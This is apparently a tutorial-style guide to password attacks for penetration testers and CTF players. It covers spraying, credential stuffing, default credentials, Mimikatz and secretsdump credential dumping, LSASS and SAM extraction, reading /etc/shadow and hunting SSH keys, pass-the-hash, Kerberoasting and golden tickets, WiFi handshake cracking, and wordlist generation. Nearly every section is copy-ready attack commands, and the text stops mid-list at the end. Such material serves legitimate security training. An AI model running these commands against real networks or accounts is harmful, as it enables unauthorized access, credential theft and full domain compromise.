kavklaw@llm ~ /guides/password-attacks

kavklaw@llm $ cat password-attacks-guide.md

Password Attacks -- Beyond Cracking

🟡 Intermediate

⏱️ 25 min read · From spraying and dumping to pass-the-hash, custom wordlists, and full credential attack methodology

← Back to Guides

Password attacks need cracking tools, wordlists, and protocol-specific brute-force utilities. On Kali, almost everything is pre-installed. On other distros:

# Offline cracking
sudo apt install john           # John the Ripper (CPU-based)
sudo apt install hashcat        # hashcat (GPU-accelerated — much faster)
# hashcat needs GPU drivers: nvidia-driver + nvidia-cuda-toolkit (NVIDIA)
# or ROCm (AMD). CPU-only mode works but is significantly slower.

# Online brute force
sudo apt install hydra           # Multi-protocol brute forcer
sudo apt install netexec         # AD/SMB/WinRM spraying (successor to CrackMapExec; commands use nxc/netexec)
pip3 install impacket            # secretsdump.py, GetNPUsers.py, GetUserSPNs.py

# Wordlists — SecLists is essential
sudo apt install seclists
# Installs to: /usr/share/seclists/
# Key paths:
#   /usr/share/seclists/Passwords/          — password wordlists
#   /usr/share/seclists/Usernames/          — username lists
#   /usr/share/seclists/Passwords/Default-Credentials/  — default creds

# rockyou.txt — the classic 14M password list
# On Kali: /usr/share/wordlists/rockyou.txt (may need: gunzip rockyou.txt.gz)
# Download: https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

# Custom wordlist tools
sudo apt install cewl            # Website word scraper
pip3 install cupp                # Personal password profiler

# Kerberos attacks
# kerbrute — Download binary from GitHub releases (https://github.com/ropnop/kerbrute/releases)

# WiFi (optional)
sudo apt install aircrack-ng

The most common setup: hashcat for offline cracking (fast with a GPU), hydra/CrackMapExec for online attacks, and rockyou.txt + SecLists as your wordlist foundation. If you're doing AD attacks, Impacket is non-negotiable.

⚡ Quick Start

Need to attack passwords right now? Here's the decision tree:

# Got a hash? → Crack it offline
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt   # NTLM
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt     # Auto-detect

# Got a live login? → Spray first, brute force last  
crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Spring2024!' --continue-on-success

# Got access to a Windows box? → Dump credentials
mimikatz# sekurlsa::logonpasswords
# Or remotely:
secretsdump.py domain/user:[email protected]

# Got an NTLM hash but can't crack it? → Pass the hash
crackmapexec smb 10.10.10.100 -u administrator -H aad3b435b51404eeaad3b435b51404ee:hash
evil-winrm -i 10.10.10.100 -u administrator -H hash

# Need a better wordlist? → Generate one
cewl http://target.htb -d 3 -m 5 -w custom.txt
john --wordlist=custom.txt --rules=best64 --stdout > mutated.txt

📊 Password Attack Taxonomy

Understanding the different types of password attacks helps you choose the right approach. They fall into two major categories:

                    Password Attacks
                          │
            ┌─────────────┴─────────────┐
            ▼                           ▼
     ONLINE ATTACKS              OFFLINE ATTACKS
   (against live services)     (against hashes/files)
     Slow · Noisy · Logged      Fast · Silent · Local
            │                           │
    ┌───────┼────────┐          ┌───────┼────────┐
    ▼       ▼        ▼          ▼       ▼        ▼
  Brute   Spray   Credential  Dict   Rule-    Mask/
  Force           Stuffing    Attack  Based    Combo
                                │
                    ┌───────────┴───────────┐
                    ▼                       ▼
             BEYOND CRACKING        Don't need the
            (use hash directly)      plaintext at all!
                    │
         ┌──────────┼──────────┐
         ▼          ▼          ▼
    Pass-the-  Pass-the-  Credential
      Hash      Ticket     Dumping

Online Attacks (Against Live Services)

You're sending login attempts to a running service. These are slow (limited by network speed and service rate limits) and noisy (every attempt generates logs).

  • Brute force -- try every possible combination (rarely practical)
  • Dictionary attack -- try passwords from a wordlist (most common)
  • Password spraying -- one password against many users (avoids lockout)
  • Credential stuffing -- reuse leaked credentials from other breaches
  • Default credentials -- try factory-default passwords

Offline Attacks (Against Hashes/Files)

You have password hashes or encrypted files and crack them locally. These are fast (limited only by your hardware) and silent (no network traffic, no logs on the target).

  • Dictionary attack -- hash each word in a wordlist and compare
  • Rule-based attack -- apply mutations (capitalize, append numbers, leet speak)
  • Mask/brute force -- try all combinations matching a pattern
  • Combinator -- combine words from multiple wordlists
  • Rainbow tables -- pre-computed hash lookups (less common with salted hashes)

Beyond Cracking

Sometimes you don't need the plaintext password at all:

  • Pass-the-Hash (PtH) -- authenticate using the NTLM hash directly
  • Pass-the-Ticket -- use a Kerberos ticket instead of a password
  • Credential dumping -- extract passwords/hashes from memory or disk
  • Token impersonation -- steal an existing authentication token
  • Session hijacking -- steal an active session cookie
💡 Pro Tip: The order of operations matters. Always try: (1) default credentials, (2) credential reuse from other findings, (3) password spraying, (4) targeted brute force with custom wordlists, (5) full brute force as last resort. Each step is more time-consuming and noisier than the last.

🌧️ Password Spraying

Password spraying is the opposite of brute force. Instead of trying many passwords against one user, you try one password against many users. This stays under account lockout policies (thresholds are configurable per environment — some domains set 3-5 attempts, others have no lockout at all).

Why Spraying Works

In any organization with 100+ users, at least a few will have weak passwords following predictable patterns:

  • Season+Year → Spring2024, Winter2023, Summer2024!
  • Company+Number → Target123, Target2024
  • Welcome+Variation → Welcome1, Welcome123!
  • Password+Number → Password1, P@ssw0rd!
  • Month+Year → January2024, February2024!

Spraying Tools & Techniques

# CrackMapExec — spray against SMB (most common for AD)
crackmapexec smb 10.10.10.100 -u users.txt -p 'Spring2024!' --continue-on-success
# --continue-on-success → don't stop after first hit

# Spray against multiple passwords (one at a time to avoid lockout!)
for pass in 'Spring2024!' 'Winter2023!' 'Welcome1' 'Password1' 'Company123'; do
  echo "=== Trying: $pass ==="
  crackmapexec smb 10.10.10.100 -u users.txt -p "$pass" --continue-on-success
  sleep 1800  # Wait 30 minutes between sprays (respect lockout window)
done

# Spray against WinRM
crackmapexec winrm 10.10.10.100 -u users.txt -p 'Spring2024!'

# Spray against LDAP
crackmapexec ldap 10.10.10.100 -u users.txt -p 'Spring2024!'

# Spray against SSH
crackmapexec ssh 10.10.10.100 -u users.txt -p 'Spring2024!'

# kerbrute — spray against Kerberos (faster, less logging)
kerbrute passwordspray -d domain.htb --dc 10.10.10.100 users.txt 'Spring2024!'

# Spray against web login (with Hydra)
hydra -L users.txt -p 'Spring2024!' 10.10.10.100 http-post-form \
  "/login:user=^USER^&pass=^PASS^:Invalid" -t 4

# Spray against O365/Azure
# Tools: MSOLSpray, o365spray, sprayhound
python3 o365spray.py --spray -U users.txt -p 'Spring2024!' -d company.com

Spraying Methodology

# Step 1: Enumerate valid usernames
# LDAP enumeration
ldapsearch -x -h 10.10.10.100 -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccountName | grep sAMAccountName

# Kerberos user enumeration (no auth needed)
kerbrute userenum -d domain.htb --dc 10.10.10.100 /usr/share/seclists/Usernames/Names/names.txt

# RPC enumeration
rpcclient -U "" -N 10.10.10.100 -c "enumdomusers"

# SMTP VRFY
smtp-user-enum -M VRFY -U users.txt -t 10.10.10.100

# Step 2: Build password list based on target
# Company name + common patterns
echo -e "Company2024!\nCompany2023!\nCompany123\nWelcome1\nSpring2024!\nWinter2024!\nPassword1" > spray_passwords.txt

# Step 3: Check lockout policy FIRST
crackmapexec smb 10.10.10.100 -u '' -p '' --pass-pol
# Look for: Account Lockout Threshold, Reset Account Lockout Counter

# Step 4: Spray (one password, wait, repeat)
crackmapexec smb 10.10.10.100 -u users.txt -p 'Spring2024!' --continue-on-success

🧠 Knowledge Check -- Attack Taxonomy & Spraying

What is the fundamental difference between online and offline password attacks?
Online attacks (Hydra, CrackMapExec) try to log into a running service — speed is limited by network latency and service rate limits, and every attempt generates logs. Offline attacks (hashcat, John) crack password hashes on your own hardware — speed is limited only by GPU/CPU power, and the target system sees nothing. When you have hashes, always prefer offline cracking. When you only have a login interface, you're forced to go online.
What is password spraying and why is it effective against Active Directory?
Password spraying flips brute force on its head: instead of many passwords against one user (which triggers lockout after 3-5 attempts), you try one common password against all users. In an organization with 100+ users, the odds are high that at least a few use predictable passwords like "Spring2024!", "Company123!", or "Welcome1". You spray one password, wait for the lockout window (typically 30+ minutes), then spray the next.
What Mimikatz command dumps all logon credentials from LSASS memory?
sekurlsa::logonpasswords is the most important Mimikatz command. It dumps all credentials cached in the LSASS (Local Security Authority Subsystem Service) process memory, including: NTLM hashes (for pass-the-hash), Kerberos tickets (for pass-the-ticket), and sometimes plaintext passwords (if WDigest is enabled). Requires administrative/SYSTEM privileges and privilege::debug first.
⚠️ Critical: Always check the password policy before spraying in real engagements. Lockout thresholds and reset windows vary by domain — enumerate with net accounts /domain or LDAP queries. Spray ONE password per lockout window and wait for the reset period before the next. Locking out all domain accounts is a career-ending mistake. In CTFs, there usually is no lockout — spray freely.

🔄 Credential Stuffing

Credential stuffing uses known username/password pairs (from data breaches -- when a company's database of user info gets stolen and leaked online) against a target. It exploits password reuse, since people use the same password across multiple services.

The concept: user:password pairs from a breach, tested against a new target. The credential file is colon-separated:

cat creds.txt
[email protected]:MyP@ssw0rd123
[email protected]:Summer2023!
[email protected]:admin123

# Test with Hydra
hydra -C creds.txt 10.10.10.100 http-post-form \
  "/login:email=^USER^&password=^PASS^:Invalid"

# Test with CrackMapExec (user:pass format)
# Note: CME doesn't support -C, use parallel -u and -P with --no-bruteforce
crackmapexec smb 10.10.10.100 -u users.txt -P passwords.txt --no-bruteforce
# --no-bruteforce tries user1:pass1, user2:pass2 (not all combinations)

Sources for credential lists:

  • Found during the engagement (config files, databases, source code)
  • OSINT on the target (check haveibeenpwned API)
  • Previous phases of the pentest

🔑 Default Credential Databases

Before any attack, always check for default credentials. It's embarrassing how many systems still use factory defaults.

Online databases:

# SecLists default credential files
ls /usr/share/seclists/Passwords/Default-Credentials/

Common defaults by service:

  • SSH/Telnet: admin/admin, root/root, root/toor
  • FTP: anonymous/(blank), ftp/ftp, admin/admin
  • MySQL: root/(blank), root/root
  • PostgreSQL: postgres/postgres
  • Tomcat: tomcat/tomcat, admin/admin, tomcat/s3cret
  • Jenkins: admin/admin (or no auth on setup)
  • phpMyAdmin: root/(blank)
  • Grafana: admin/admin
  • Zabbix: Admin/zabbix
  • pfSense: admin/pfsense
  • Cisco: cisco/cisco, admin/admin
# Automated default credential testing
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt \
  ssh://10.10.10.100

# Nmap default credential scripts
nmap -p 22 --script=ssh-brute --script-args userdb=users.txt,passdb=defaults.txt 10.10.10.100
💡 Pro Tip: When you find an unusual service, Google "[service name] default credentials" before anything else. You'd be amazed how often Tomcat with tomcat/s3cret, Grafana with admin/admin, or Jenkins with no authentication at all gives you instant access.

💾 Credential Dumping

Credential dumping extracts passwords, hashes (scrambled versions of passwords that the system stores instead of plaintext), and tickets from a compromised system. This is one of the most important post-exploitation techniques (things you do after gaining initial access). Credentials on one system often provide access to others.

Mimikatz (Windows)

The king of credential extraction. Requires administrative/SYSTEM privileges.

# Dump all logon credentials from memory (LSASS)
mimikatz# privilege::debug
mimikatz# sekurlsa::logonpasswords

# Dump SAM database (local accounts)
mimikatz# lsadump::sam

# Dump LSASS secrets
mimikatz# lsadump::secrets

# Dump Kerberos tickets
mimikatz# kerberos::list /export

# DCSync attack — dump credentials from DC without touching it
# Requires: Replicating Directory Changes permission
mimikatz# lsadump::dcsync /domain:domain.htb /user:administrator

sekurlsa::logonpasswords output includes:

  • NTLM hashes (for pass-the-hash)
  • Kerberos tickets (for pass-the-ticket)
  • Plaintext passwords (if WDigest is enabled)
  • MSV credentials

Impacket's secretsdump.py (Remote)

Extracts credentials remotely. Requires admin credentials or NTLM hash.

# With password
secretsdump.py domain/administrator:P@[email protected]

# With NTLM hash (pass-the-hash)
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:HASH domain/[email protected]

# Dump just NTDS.dit from Domain Controller (EVERY account hash!)
secretsdump.py -just-dc domain/administrator:P@ssw0rd@DC_IP

# Alternative: CrackMapExec
crackmapexec smb 10.10.10.100 -u administrator -p 'P@ssw0rd' --sam
crackmapexec smb 10.10.10.100 -u administrator -p 'P@ssw0rd' --lsa
crackmapexec smb DC_IP -u administrator -p 'P@ssw0rd' --ntds

What secretsdump extracts:

  • SAM hashes — local account password hashes
  • LSA secrets — service account passwords, cached domain credentials
  • NTDS.dit — all domain password hashes (when targeting a DC)

SAM/SYSTEM Extraction

# If you have local admin on a Windows box:
# Method 1: Registry save
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
reg save HKLM\SECURITY security.bak

# Transfer files to attacker, then extract:
secretsdump.py -sam sam.bak -system system.bak -security security.bak LOCAL

# Method 2: Volume Shadow Copy (access locked files)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system

# Method 3: From a Linux system mounting a Windows drive
samdump2 /mnt/windows/Windows/System32/config/SYSTEM /mnt/windows/Windows/System32/config/SAM

LSASS Dump

LSASS (Local Security Authority Subsystem Service) is the Windows process responsible for handling logins. It caches credentials in memory so you don't have to re-enter your password for every network resource. For attackers, dumping LSASS means extracting all those cached credentials at once.

# LSASS holds credentials in memory — dumping it extracts everything cached

# Method 1: Task Manager (admin required)
# Open Task Manager → Details → lsass.exe → Create dump file

# Method 2: procdump (Sysinternals)
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Method 3: comsvcs.dll (built-in Windows)
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump PID lsass.dmp full

# Method 4: mimikatz from dump file
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords

# Method 5: pypykatz (Python alternative)
pypykatz lsa minidump lsass.dmp

Linux Credential Dumping

# /etc/shadow — password hashes (requires root)
cat /etc/shadow
# root:$6$xyz...:19000:0:99999:7:::
# ↑user ↑hash type ($6$ = SHA-512, $y$ = yescrypt)

# Unshadow for cracking
unshadow /etc/passwd /etc/shadow > unshadowed.txt
john unshadowed.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Or with hashcat
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt  # SHA-512crypt

# Search for credentials in config files
grep -rn "password\|passwd\|pass\|credential\|secret" /etc/ 2>/dev/null
grep -rn "password\|passwd" /var/www/ 2>/dev/null
grep -rn "password\|passwd" /opt/ 2>/dev/null

# History files
cat ~/.bash_history | grep -i "pass\|user\|ssh\|mysql\|ftp"
cat ~/.mysql_history

# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null

# Database credential files
cat /var/www/html/wp-config.php | grep DB_
cat /var/www/html/.env | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null

🧠 Knowledge Check -- Credential Dumping & Pass-the-Hash

📋 Scenario
$ secretsdump.py domain/admin:[email protected]
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404ee:e02bc503339d51f71d913a40d6e1c4c3:::
Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

$ hashcat -m 1000 e02bc503339d51f71d913a40d6e1c4c3 rockyou.txt
Status: Exhausted (Not found)
You dumped the local admin NTLM hash but hashcat can't crack it. What can you still do with it?
Pass-the-Hash is one of the most powerful Windows attack techniques. NTLM authentication uses the hash directly in challenge-response — you never need the plaintext. Use: evil-winrm -i IP -u administrator -H HASH, crackmapexec smb IP -u administrator -H HASH, or psexec.py -hashes :HASH domain/admin@IP. Also spray the hash across other machines — local admin hashes are often reused if systems were built from the same image.
Complete the command to remotely dump all credentials from a target:
$  domain/administrator:P@[email protected]
secretsdump.py (or impacket-secretsdump) remotely extracts credentials including: SAM hashes (local accounts), LSA secrets (service account passwords, cached domain credentials), and NTDS.dit (all domain hashes when targeting a DC). It requires admin credentials (password or hash). When targeting a Domain Controller with -just-dc, it dumps every account hash in the domain.
What mutation rule file is considered the best single ruleset for hashcat?
OneRuleToRuleThemAll.rule is the community favorite for balancing crack rate vs time. It combines the most effective mutations from multiple rulesets. best64 is great for speed (only 64 rules), and rockyou-30000 is thorough but slower. The strategy: start with best64 for quick wins, then apply OneRuleToRuleThemAll for a deeper pass. Rules transform base words (e.g., "password") into realistic variations (Password, password1, p@ssw0rd, Password2024!).
What tool generates a custom wordlist by spidering a target's website?
CeWL (Custom Word List Generator) spiders a website and builds a wordlist from the content it finds. Usage: cewl http://target.htb -d 3 -m 5 -w custom.txt. The -d flag sets spider depth, -m sets minimum word length. This catches company-specific terms, employee names, product names, and other words that generic wordlists miss. Apply mutation rules to the output for realistic password variations.
What is the correct priority order for password attacks?
The order matters because each step is progressively slower and noisier: (1) Default credentials take seconds and are free. (2) Credential reuse from other findings is instant. (3) AS-REP Roasting and Kerberoasting are offline attacks that don't trigger lockouts. (4) Password spraying with targeted passwords catches common weak passwords. (5) Custom wordlists (CeWL + mutations) target company-specific patterns. (6) Full rockyou.txt is the last resort — 14M passwords is slow for online attacks.
💡 Pro Tip: After dumping credentials, always check for credential reuse. The password for a web application database might also be someone's domain password. Local admin hashes might be the same across multiple machines (if a golden image was used). Try every credential on every accessible service.

🔑 Pass-the-Hash & Pass-the-Password

Pass-the-Hash (PtH) lets you authenticate to Windows services using an NTLM hash without knowing the plaintext password. NTLM (NT LAN Manager) is Windows' legacy authentication protocol — when you set a password on Windows, it stores an NTLM hash (a one-way mathematical transformation of the password). This is one of the most powerful techniques in Windows pentesting.

How PtH Works

NTLM authentication uses a challenge-response mechanism based on the hash: the server sends a random challenge, and the client computes a response using the NTLM hash — not the plaintext password. This means the hash itself is the credential. If you have the hash, you can compute valid responses and authenticate. No plaintext password needed.

# CrackMapExec — check hash validity
crackmapexec smb 10.10.10.100 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'

# CrackMapExec — spray hash across network  
crackmapexec smb 10.10.10.0/24 -u administrator -H 'NTHASH' --continue-on-success

# evil-winrm — get a shell with hash
evil-winrm -i 10.10.10.100 -u administrator -H 'NTHASH'

# psexec.py — SYSTEM shell via PtH
psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:NTHASH' domain/[email protected]

# wmiexec.py — command execution via WMI
wmiexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:NTHASH' domain/[email protected]

# smbexec.py — another execution method
smbexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:NTHASH' domain/[email protected]

# xfreerdp — RDP with hash (Restricted Admin mode required)
xfreerdp /u:administrator /pth:NTHASH /v:10.10.10.100

# smbclient with hash
smbclient \\\\10.10.10.100\\share -U administrator --pw-nt-hash NTHASH

# Mounting SMB share with hash
mount -t cifs //10.10.10.100/share /mnt -o username=administrator,password=NTHASH

Pass-the-Password (PtP)

# Same tools, but with plaintext password

# CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -p 'P@ssw0rd' --continue-on-success

# Check if admin on multiple hosts
crackmapexec smb 10.10.10.0/24 -u administrator -p 'P@ssw0rd' | grep "Pwn3d!"

# Execute commands
crackmapexec smb 10.10.10.100 -u administrator -p 'P@ssw0rd' -x "whoami"

# Get shells
evil-winrm -i 10.10.10.100 -u administrator -p 'P@ssw0rd'
psexec.py domain/administrator:'P@ssw0rd'@10.10.10.100

🎟️ Kerberos Ticket Attacks

Kerberos is the primary authentication protocol in Active Directory (AD — Microsoft's system for managing users, computers, and permissions in a Windows network). Instead of sending passwords over the network, Kerberos uses "tickets" — encrypted tokens that prove your identity. Think of it like a concert wristband: you show your ID once at the gate (authenticate), get a wristband (ticket), and then show the wristband to access different areas (services) without re-authenticating. Attacking Kerberos can yield credentials without triggering traditional login alerts.

# AS-REP Roasting — extract hashes for users without pre-auth
# No credentials needed! Just a list of usernames
GetNPUsers.py domain.htb/ -usersfile users.txt -no-pass -dc-ip 10.10.10.100
# Output: [email protected]:...
# Crack with hashcat -m 18200

# Kerberoasting — extract service ticket hashes
# Requires: valid domain credentials
GetUserSPNs.py domain.htb/user:password -dc-ip 10.10.10.100 -request
# Output: $krb5tgs$23$*service_account$domain.htb...
# Crack with hashcat -m 13100

# Pass-the-Ticket
# Export tickets with mimikatz
mimikatz# kerberos::list /export
# Use tickets with impacket
export KRB5CCNAME=ticket.ccache
psexec.py -k -no-pass domain.htb/[email protected]

# Golden Ticket (requires krbtgt hash — means you own the domain)
mimikatz# kerberos::golden /user:administrator /domain:domain.htb \
  /sid:S-1-5-21-... /krbtgt:HASH /ptt

# Silver Ticket (requires service account hash)
mimikatz# kerberos::golden /user:administrator /domain:domain.htb \
  /sid:S-1-5-21-... /target:server.domain.htb /service:cifs /rc4:HASH /ptt
💡 Pro Tip: AS-REP Roasting and Kerberoasting are two of the most impactful AD attacks. AS-REP Roasting doesn't even require valid credentials -- just a list of usernames. Always run these before attempting brute force against AD. For a complete Active Directory attack guide, see the AD Guide.

📡 WiFi Attacks

WiFi password attacks target the WPA/WPA2 handshake. You capture the 4-way handshake and crack it offline.

# Step 1: Put interface in monitor mode
sudo airmon-ng start wlan0

# Step 2: Scan for networks
sudo airodump-ng wlan0mon

# Step 3: Target a specific network and capture handshake
sudo airodump-ng -c CHANNEL --bssid TARGET_BSSID -w capture wlan0mon

# Step 4: Force a handshake by deauthenticating a client
sudo aireplay-ng --deauth 10 -a TARGET_BSSID wlan0mon
# Wait for "WPA handshake: XX:XX:XX:XX:XX:XX" in airodump

# Step 5: Crack the handshake
# With aircrack-ng
aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt

# With hashcat (faster with GPU)
# First convert to hashcat format
hcxpcapngtool -o hash.22000 capture-01.cap
hashcat -m 22000 hash.22000 /usr/share/wordlists/rockyou.txt

# WPS attack (if WPS is enabled)
wash -i wlan0mon                          # Find WPS-enabled networks
reaver -i wlan0mon -b TARGET_BSSID -v     # Brute force WPS PIN

📝 Building Custom Wordlists

Generic wordlists miss targeted passwords. Custom wordlists based on the target dramatically improve success rates.

CeWL -- Custom Word List Generator

# Spider a website and generate a wordlist from its content
cewl http://target.htb -d 3 -m 5 -w target_words.txt
# -d 3 = spider depth 3 levels
# -m 5 = minimum word length 5 characters

# Include email addresses
cewl http://target.htb -d 3 -e --email_file emails.txt -w words.txt

# Include metadata from documents
cewl http://target.htb -d 3 --meta --meta_file meta.txt

# Lowercase everything
cewl http://target.htb -d 3 -m 5 --lowercase -w words.txt

CUPP -- Common User Passwords Profiler

# Interactive mode — builds passwords based on target's personal info
cupp -i
# Asks for: first name, last name, birthday, partner's name, pet's name, etc.
# Generates: john1990, john123, john!, J0hn, john1990!, etc.

# Example: if target is John Smith, born 1990, wife Sarah, dog Rex
# CUPP generates: john1990, john90, sarah1990, rex1990, johns, johnsmith, etc.

# Download common password lists
cupp -l

Crunch -- Pattern-Based Generator

# Generate all 8-char passwords with specific pattern
crunch 8 8 -t @@@@2024 -o wordlist.txt
# @ = lowercase letter
# , = uppercase letter
# % = number
# ^ = special character

# Examples:
crunch 8 8 -t @@@@%%%% -o eight_chars.txt    # 4 letters + 4 numbers
crunch 6 6 -t ,%@@%% -o six_chars.txt          # Complex pattern
crunch 8 12 abcdefghijklmnop123 -o custom.txt  # Custom charset, 8-12 length

# WARNING: Crunch generates MASSIVE wordlists
# crunch 8 8 (lowercase only) = 200+ GB
# Use specific patterns to keep it manageable

Username-Based Wordlists

# From names to username formats
# Input: John Smith, Jane Doe, Bob Wilson
# Generate common formats:
# jsmith, john.smith, johns, j.smith, smithj, john_smith
# jdoe, jane.doe, janed, j.doe, doej, jane_doe

# username-anarchy tool
./username-anarchy John Smith
# Output: john, smith, jsmith, john.smith, smithj, etc.

# Simple bash script
while IFS=' ' read first last; do
  f=${first,,}; l=${last,,}
  echo "${f:0:1}${l}"      # jsmith
  echo "${f}.${l}"          # john.smith
  echo "${f}${l:0:1}"       # johns
  echo "${f}_${l}"          # john_smith
  echo "${l}${f:0:1}"       # smithj
done < names.txt > usernames.txt

🔀 Mutation Rules

Mutation rules transform base words into realistic password variations. For example, turning "password" into "Password1", "p@ssw0rd", and "password2024!". They're the secret sauce that makes wordlists effective.

# John the Ripper rules
john --wordlist=base.txt --rules=best64 --stdout > mutated.txt
# best64 applies the 64 most effective mutation rules:
# password → Password, password1, password!, PASSWORD, p@ssword, etc.

# Common rule sets
john --wordlist=base.txt --rules=InsidePro --stdout         # InsidePro rules
john --wordlist=base.txt --rules=Jumbo --stdout              # Jumbo ruleset
john --wordlist=base.txt --rules=KoreLogic --stdout          # KoreLogic rules

# Hashcat rules
hashcat -r /usr/share/hashcat/rules/best64.rule --stdout base.txt > mutated.txt
hashcat -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --stdout base.txt

# Common rule files in hashcat:
# /usr/share/hashcat/rules/best64.rule           — Best 64 rules
# /usr/share/hashcat/rules/rockyou-30000.rule    — 30k rules from rockyou analysis
# /usr/share/hashcat/rules/d3ad0ne.rule          — d3ad0ne rules
# /usr/share/hashcat/rules/dive.rule             — Dive rules (large)
# /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule — Community favorite

# What rules do — example mutations of "password":
# Capitalize first:    Password
# Uppercase all:       PASSWORD
# Append number:       password1, password123
# Append year:         password2024
# Append special:      password!, password@, password#
# Leet speak:          p@ssw0rd, p4ssword
# Toggle case:         pAsSwOrD
# Reverse:             drowssap
# Duplicate:           passwordpassword
# Combine:             All of the above combined!

Creating Custom Rules

# Hashcat rule syntax (one rule per line):
# c = capitalize first, lowercase rest
# u = uppercase all
# $1 = append "1"
# $! = append "!"
# ^@ = prepend "@"
# sa@ = replace 'a' with '@'
# se3 = replace 'e' with '3'

# Example custom rule file:
cat << 'EOF' > custom.rule
:
c
u
$1
$!
$1$2$3
$2$0$2$4
c$!
c$1
sa@
se3so0
csa@se3
EOF

# Apply custom rules
hashcat -r custom.rule --stdout base.txt

🌐 Online Resources

Essential resources for password attacks:

Wordlists

# SecLists — the definitive wordlist collection (https://github.com/danielmiessler/SecLists)
sudo apt install seclists

# Key directories:
/usr/share/seclists/Passwords/          # Password wordlists
/usr/share/seclists/Usernames/          # Username wordlists
/usr/share/seclists/Discovery/          # Web and DNS discovery

# rockyou.txt — 14M real passwords from the 2009 RockYou breach
/usr/share/wordlists/rockyou.txt

Online tools & databases:

🎯 Real-World Methodology

Here's the complete password attack methodology from initial access through domain compromise:

  ┌──────────────────────────────────────────────────────┐
  │              PASSWORD ATTACK METHODOLOGY              │
  └──────────────────────┬───────────────────────────────┘
                         ▼
  Phase 1: GATHERING ─── Enumerate users, check policy,
           │             try defaults, AS-REP Roast
           ▼
  Phase 2: INITIAL ───── Crack AS-REP hashes, spray
           ACCESS        company passwords, check reuse
           │
           ▼
  Phase 3: POST- ─────── Kerberoast, BloodHound,
           COMPROMISE    dump SAM/LSA from accessible hosts
           │
           ▼
  Phase 4: ESCALATION ── Dump LSASS, pass-the-hash
           │             across network, DCSync
           ▼
  ┌──────────────────────────────────────────────────────┐
  │     DOMAIN COMPROMISE — NTDS.dit = every account     │
  └──────────────────────────────────────────────────────┘

Phase 1: Gathering (Before Any Attacks)

# 1. Enumerate valid usernames
kerbrute userenum -d domain.htb --dc DC_IP users.txt
rpcclient -U "" -N DC_IP -c "enumdomusers"
ldapsearch -x -h DC_IP -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccountName

# 2. Check password policy
crackmapexec smb DC_IP -u '' -p '' --pass-pol
# Note: lockout threshold, minimum length, complexity requirements

# 3. Try default/null credentials
crackmapexec smb DC_IP -u '' -p ''
crackmapexec smb DC_IP -u 'guest' -p ''

# 4. Check for AS-REP Roastable users (no creds needed)
GetNPUsers.py domain.htb/ -usersfile users.txt -no-pass -dc-ip DC_IP

Phase 2: Initial Access

# 1. Crack any AS-REP hashes found
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# 2. Password spray with company-specific passwords
crackmapexec smb DC_IP -u users.txt -p 'Company2024!' --continue-on-success
# Wait for lockout window
crackmapexec smb DC_IP -u users.txt -p 'Welcome1' --continue-on-success

# 3. Check credential reuse from any findings
# Found web app creds? Try them on AD.
crackmapexec smb DC_IP -u 'webadmin' -p 'WebP@ssw0rd'

Phase 3: Post-Compromise Enumeration

# With valid domain credentials:

# 1. Kerberoasting
GetUserSPNs.py domain.htb/user:password -dc-ip DC_IP -request
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# 2. BloodHound — map attack paths
bloodhound-python -c All -d domain.htb -u user -p password -ns DC_IP

# 3. Dump credentials from accessible hosts
crackmapexec smb 10.10.10.0/24 -u user -p password --sam
crackmapexec smb 10.10.10.0/24 -u user -p password --lsa

Phase 4: Escalation

# With local admin on any host:

# 1. Dump LSASS
mimikatz# sekurlsa::logonpasswords
# Look for domain admin credentials in memory

# 2. Check for cached credentials
mimikatz# lsadump::cache

# 3. Pass-the-hash across the network
crackmapexec smb 10.10.10.0/24 -u administrator -H HASH --continue-on-success

# 4. If you find domain admin hash:
secretsdump.py -hashes LM:NT domain/administrator@DC_IP
# Dump NTDS.dit — you now have EVERY account in the domain

⚠️ Common Mistakes

❌ Mistake #1: Brute forcing before checking defaults and spraying.
Brute force is slow, noisy, and often unnecessary. Default credentials and password spraying are faster and more likely to succeed. Always exhaust these options first.
❌ Mistake #2: Not checking the lockout policy before spraying.
If you spray 5 passwords per user against an AD with a 3-attempt lockout, you'll lock out every account in the organization. Check the policy with crackmapexec smb DC -u '' -p '' --pass-pol FIRST.
❌ Mistake #3: Using only rockyou.txt for everything.
rockyou.txt is from 2009. Modern password policies require complexity that older passwords don't have. Use custom wordlists based on the target (CeWL, CUPP) and mutation rules to generate realistic passwords that match current policies.
❌ Mistake #4: Forgetting credential reuse.
The password you found in a web app config file might be someone's domain password. The local admin hash might work on every other machine. Always test discovered credentials against every accessible service.
❌ Mistake #5: Not trying pass-the-hash.
